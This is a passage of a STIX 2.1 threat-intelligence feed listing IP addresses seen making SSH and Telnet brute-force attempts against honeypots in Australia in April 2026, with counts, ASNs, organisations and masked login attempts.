      "id": "indicator--ba8f2435-7081-4c62-b080-f94ae3cbaa8d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-06T20:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '185.247.137.27']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T20:15:12.000Z",
      "valid_until": "2026-05-08T20:15:09.000Z"
    },
    {
      "created": "2026-04-06T21:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED.",
      "id": "indicator--c428b463-9611-4cdf-bd2f-19d42675b615",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-06T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '152.32.191.75']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T21:15:11.000Z",
      "valid_until": "2026-05-08T21:15:08.000Z"
    },
    {
      "created": "2026-04-06T21:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--745cc008-caed-415a-989f-0049b103b043",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-06T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '175.200.104.40']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T21:15:11.000Z",
      "valid_until": "2026-05-08T21:15:08.000Z"
    },
    {
      "created": "2026-04-06T21:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22, 443. Source country: SE. ASN(s): 214503. Organisation(s): QuxLabs AB.",
      "id": "indicator--301e86a3-f632-494a-8ceb-fd44118b5710",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-06T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.84.107.222']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T21:15:11.000Z",
      "valid_until": "2026-05-08T21:15:08.000Z"
    },
    {
      "created": "2026-04-06T21:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--49f5baeb-5c51-49ef-a970-f1a75bf5b47e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-06T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.192']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T21:15:11.000Z",
      "valid_until": "2026-05-08T21:15:08.000Z"
    },
    {
      "created": "2026-04-06T22:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 191. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t, d****y, 3**********4, ***, f*****t. Passwords observed (masked): ***, 1****6, 1******x, 3***********4, 3**********4.",
      "id": "indicator--967e3337-2640-4291-b8c8-7da9c5754276",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-06T22:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.210.21.242']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T22:15:15.000Z",
      "valid_until": "2026-05-08T22:15:08.000Z"
    },
    {
      "created": "2026-04-06T22:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 10066. Organisation(s): LG HelloVision Corp..",
      "id": "indicator--ec3bfbd3-827f-4cd1-8ccf-751985e6b86e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-06T22:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '115.41.28.249']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T22:15:15.000Z",
      "valid_until": "2026-05-08T22:15:08.000Z"
    },
    {
      "created": "2026-04-06T22:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 11. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 38365. Organisation(s): Beijing Baidu Netcom Science and Technology Co., Ltd.. Usernames observed (masked): n****a. Passwords observed (masked): n****a.",
      "id": "indicator--8f42ae11-2212-496b-bf16-e53f6841a5ac",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-06T22:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '120.48.152.209']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T22:15:15.000Z",
      "valid_until": "2026-05-08T22:15:08.000Z"
    },
    {
      "created": "2026-04-06T22:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 179. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 151858. Organisation(s): INTERDIGI JOINT STOCK COMPANY. Usernames observed (masked): r**t, s***m, 3**********4, g****i, ***. Passwords observed (masked): 1**0, 1****3, 1******x, 3***********4, 3**********4.",
      "id": "indicator--8b2775ed-2c3c-4f43-bb82-ca58dd0c6c39",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-06T22:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '160.187.147.124']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T22:15:15.000Z",
      "valid_until": "2026-05-08T22:15:08.000Z"
    },
    {
      "created": "2026-04-06T22:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 75. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TJ. ASN(s): 215814. Organisation(s): Sinamo 2017 LLC. Usernames observed (masked): g****i, 3**********4, m*******t. Passwords observed (masked): 3***********4, 3**********4, g****i, m*******t.",
      "id": "indicator--f5b20f20-473b-482d-9d32-f83096539bcf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-06T22:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '185.194.199.33']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T22:15:15.000Z",
      "valid_until": "2026-05-08T22:15:08.000Z"
    },
    {
      "created": "2026-04-06T22:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BG. ASN(s): 48090. Organisation(s): Techoff Srv Limited.",
      "id": "indicator--fe7a0377-8bae-41bc-9f04-d5ba57543787",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-06T22:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '195.178.110.15']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T22:15:15.000Z",
      "valid_until": "2026-05-08T22:15:08.000Z"
    },
    {
      "created": "2026-04-06T22:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--e62116e1-d079-4124-9e87-02981a74b178",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-06T22:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.151']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T22:15:15.000Z",
      "valid_until": "2026-05-08T22:15:08.000Z"
    },
    {
      "created": "2026-04-06T22:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--b244d925-f849-4a51-bca0-5d4535183f26",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-06T22:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '35.202.9.133']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T22:15:15.000Z",
      "valid_until": "2026-05-08T22:15:08.000Z"
    },
    {
      "created": "2026-04-06T23:15:22.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 95. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CH. ASN(s): 53667. Organisation(s): FranTech Solutions. Usernames observed (masked): t******r, 3**********4, ***, f*****r, r**t. Passwords observed (masked): 1**1, 3***********4, 3**********4, P******d, ***.",
      "id": "indicator--3617ee31-88a6-4982-83b3-7ce485cde1cf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-06T23:15:22.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '104.244.74.84']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T23:15:22.000Z",
      "valid_until": "2026-05-08T23:15:08.000Z"
    },
    {
      "created": "2026-04-06T23:15:22.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 85. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): e*****c, 3**********4, a***n, ***, r**t. Passwords observed (masked): 1**0, 3***********4, 3**********4, K*************8, ***.",
      "id": "indicator--883d7dd7-80d2-4f6d-bc88-f035145f9f78",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-06T23:15:22.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '203.145.34.82']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T23:15:22.000Z",
      "valid_until": "2026-05-08T23:15:08.000Z"
    },
    {
      "created": "2026-04-06T23:15:22.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--f0c1d63c-aa3f-4bca-b37d-e16453a4da87",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-06T23:15:22.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.37']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T23:15:22.000Z",
      "valid_until": "2026-05-08T23:15:08.000Z"
    },
    {
      "created": "2026-04-06T23:15:22.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 35. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SE. ASN(s): 8434. Organisation(s): Telenor Sverige AB. Usernames observed (masked): r**t. Passwords observed (masked): a***n, r**t.",
      "id": "indicator--1d37312c-1c63-42fa-9569-eb2955d1a6a8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-06T23:15:22.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '213.112.126.21']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T23:15:22.000Z",
      "valid_until": "2026-05-08T23:15:08.000Z"
    },
    {
      "created": "2026-04-06T23:15:22.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 113. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 53667. Organisation(s): FranTech Solutions. Usernames observed (masked): f******1, u****u, 3**********4, j***y, p******s. Passwords observed (masked): 1**1, 1******1, 3***********4, 3**********4, a*******8.",
      "id": "indicator--f4f167b7-bc9c-4db2-b5e1-ee4b149b5558",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-06T23:15:22.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.61.187.220']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T23:15:22.000Z",
      "valid_until": "2026-05-08T23:15:08.000Z"
    },
    {
      "created": "2026-04-07T00:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 9981. Organisation(s): Saero Network Service LTD.",
      "id": "indicator--e30f8de9-5989-4d91-b0d8-8ff7ab28a00f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-07T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '113.59.150.123']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T00:15:13.000Z",
      "valid_until": "2026-05-09T00:15:08.000Z"
    },
    {
      "created": "2026-04-07T00:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--6f82ddaa-0e80-4cb0-9f41-44ae67766cbd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-07T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '142.93.9.201']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T00:15:13.000Z",
      "valid_until": "2026-05-09T00:15:08.000Z"
    },
    {
      "created": "2026-04-07T00:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: GB. ASN(s): 6871. Organisation(s): British Telecommunications PLC.",
      "id": "indicator--887f7f95-9bbb-447f-b4fa-d31b42acf665",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-07T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '146.200.171.59']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T00:15:13.000Z",
      "valid_until": "2026-05-09T00:15:08.000Z"
    },
    {
      "created": "2026-04-07T00:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TH. ASN(s): 4621. Organisation(s): Chulalongkorn University.",
      "id": "indicator--d57f74ae-98cf-4fc5-9cf4-c1c1ba1b78f1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-07T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '203.159.249.80']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T00:15:13.000Z",
      "valid_until": "2026-05-09T00:15:08.000Z"
    },
    {
      "created": "2026-04-07T00:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 56971. Organisation(s): Cgi Global Limited. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--9649e930-96c3-4273-9e9f-06505bb96cf1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-07T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '31.59.138.111']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T00:15:13.000Z",
      "valid_until": "2026-05-09T00:15:08.000Z"
    },
    {
      "created": "2026-04-07T00:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 10439. Organisation(s): CariNet, Inc..",
      "id": "indicator--62927db6-1af5-48f4-ac83-97feade90ed8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-07T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '71.6.232.28']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T00:15:13.000Z",
      "valid_until": "2026-05-09T00:15:08.000Z"
    },
    {
      "created": "2026-04-07T02:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IT. ASN(s): 210129. Organisation(s): Atomo Networks Srl.",
      "id": "indicator--0dfad689-fc51-4c21-bcfb-715cd12df32e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-07T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '185.94.132.121']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T02:15:10.000Z",
      "valid_until": "2026-05-09T02:15:08.000Z"
    },
    {
      "created": "2026-04-07T02:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group.",
      "id": "indicator--4bd67a9e-0cc2-417d-88cb-11cb23d8e3e6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-07T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '220.132.100.78']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T02:15:10.000Z",
      "valid_until": "2026-05-09T02:15:08.000Z"
    },
    {
      "created": "2026-04-07T02:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: HK. ASN(s): 23881. Organisation(s): UDomain Web Hosting Company Ltd.",
      "id": "indicator--a5ccb6eb-fe7b-4e31-8fd9-b52190f963b9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-07T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '23.226.4.84']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T02:15:10.000Z",
      "valid_until": "2026-05-09T02:15:08.000Z"
    },
    {
      "created": "2026-04-07T02:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC. Usernames observed (masked): A*******************p, G************1, U*************************************************************************************************************************6. Passwords observed (masked): , A**********, H**********************3.",
      "id": "indicator--2ae2a26c-2f47-4a53-93b1-7686e1979e49",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-07T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.2']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T02:15:10.000Z",
      "valid_until": "2026-05-09T02:15:08.000Z"
    },
    {
      "created": "2026-04-07T05:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--35372864-37ee-498c-990e-3af13081ffbf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-07T05:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '134.209.252.223']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T05:15:15.000Z",
      "valid_until": "2026-05-09T05:15:08.000Z"
    },
    {
      "created": "2026-04-07T05:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 41. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): , C************0, C******************>, F************************t, G************0. Passwords observed (masked): , A*********************p, C**************S, C***************0, T***************>.",
      "id": "indicator--4a279361-fd51-42ac-937f-af2a4f0e6503",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-07T05:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '138.68.80.227']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T05:15:15.000Z",
      "valid_until": "2026-05-09T05:15:08.000Z"
    },
    {
      "created": "2026-04-07T05:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 23. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): G*********************************1, U****************************1, G************1, U*******************************************************************). Passwords observed (masked): H**********************3, C***************e, A**********.",
      "id": "indicator--b6f116be-0dc4-4d94-99f3-a8e4bd54dbeb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-07T05:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '165.227.161.0']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T05:15:15.000Z",
      "valid_until": "2026-05-09T05:15:08.000Z"
    },
    {
      "created": "2026-04-07T05:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): G************************************1, U****************************1. Passwords observed (masked): C***************e, H**********************3.",
      "id": "indicator--00f0aefe-5813-457e-9166-c8e483c5d346",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-07T05:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '167.99.140.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T05:15:15.000Z",
      "valid_until": "2026-05-09T05:15:08.000Z"
    },
    {
      "created": "2026-04-07T05:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 24. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RU. ASN(s): 29182. Organisation(s): JSC IOT. Usernames observed (masked): r**t, a***n, o******i. Passwords observed (masked): *, a***n, o******i, p******d.",
      "id": "indicator--ba150adf-4c53-4a96-8cf2-a54a9c3ddefe",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-07T05:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '195.140.147.192']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T05:15:15.000Z",
      "valid_until": "2026-05-09T05:15:08.000Z"
    },
    {
      "created": "2026-04-07T05:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--43deacf6-671e-4ccf-bcdd-8ecdb2d6532b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-07T05:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.192']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T05:15:15.000Z",
      "valid_until": "2026-05-09T05:15:08.000Z"
    },
    {
      "created": "2026-04-07T05:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): U****************************1, G**********************************1, G**************************************************1. Passwords observed (masked): C***************e, H**********************3.",
      "id": "indicator--0fa879b9-a032-4b0c-8699-0dda8dbb2f23",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-07T05:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '209.38.199.70']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T05:15:15.000Z",
      "valid_until": "2026-05-09T05:15:08.000Z"
    },
    {
      "created": "2026-04-07T05:15:15.000Z",
